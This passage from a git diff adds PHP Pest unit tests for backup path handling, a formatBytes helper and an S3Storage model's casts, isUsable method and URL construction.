'/backups/db.gz', + 'backups/db.gz', + '/nested/path/to/backup.sql.gz', + 'backup-2025-01-15.gz', + ]; + + foreach ($paths as $path) { + $cleanPath = ltrim($path, '/'); + expect($cleanPath)->not->toStartWith('/'); + } +}); + +test('formatBytes helper formats file sizes correctly', function () { + // Test various file sizes + expect(formatBytes(0))->toBe('0 B'); + expect(formatBytes(null))->toBe('0 B'); + expect(formatBytes(1024))->toBe('1 KB'); + expect(formatBytes(1048576))->toBe('1 MB'); + expect(formatBytes(1073741824))->toBe('1 GB'); + expect(formatBytes(1099511627776))->toBe('1 TB'); + + // Test with different sizes + expect(formatBytes(512))->toBe('512 B'); + expect(formatBytes(2048))->toBe('2 KB'); + expect(formatBytes(5242880))->toBe('5 MB'); + expect(formatBytes(10737418240))->toBe('10 GB'); + + // Test precision + expect(formatBytes(1536, 2))->toBe('1.5 KB'); + expect(formatBytes(1572864, 1))->toBe('1.5 MB'); +}); diff --git a/tests/Unit/S3StorageTest.php b/tests/Unit/S3StorageTest.php new file mode 100644 index 000000000..6709f381d --- /dev/null +++ b/tests/Unit/S3StorageTest.php @@ -0,0 +1,53 @@ +getCasts(); + + expect($casts['is_usable'])->toBe('boolean'); + expect($casts['key'])->toBe('encrypted'); + expect($casts['secret'])->toBe('encrypted'); +}); + +test('S3Storage isUsable method returns is_usable attribute value', function () { + $s3Storage = new S3Storage; + + // Set the attribute directly to avoid encryption + $s3Storage->setRawAttributes(['is_usable' => true]); + expect($s3Storage->isUsable())->toBeTrue(); + + $s3Storage->setRawAttributes(['is_usable' => false]); + expect($s3Storage->isUsable())->toBeFalse(); + + $s3Storage->setRawAttributes(['is_usable' => null]); + expect($s3Storage->isUsable())->toBeNull(); +}); + +test('S3Storage awsUrl method constructs correct URL format', function () { + $s3Storage = new S3Storage; + + // Set attributes without triggering encryption + $s3Storage->setRawAttributes([ + 'endpoint' => 'https://s3.amazonaws.com', + 'bucket' => 'test-bucket', + ]); + + expect($s3Storage->awsUrl())->toBe('https://s3.amazonaws.com/test-bucket'); + + // Test with custom endpoint + $s3Storage->setRawAttributes([ + 'endpoint' => 'https://minio.example.com:9000', + 'bucket' => 'backups', + ]); + + expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups'); +}); + +test('S3Storage model is guarded correctly', function () { + $s3Storage = new S3Storage; + + // The model should have $guarded = [] which means everything is fillable + expect($s3Storage->getGuarded())->toBe([]); +});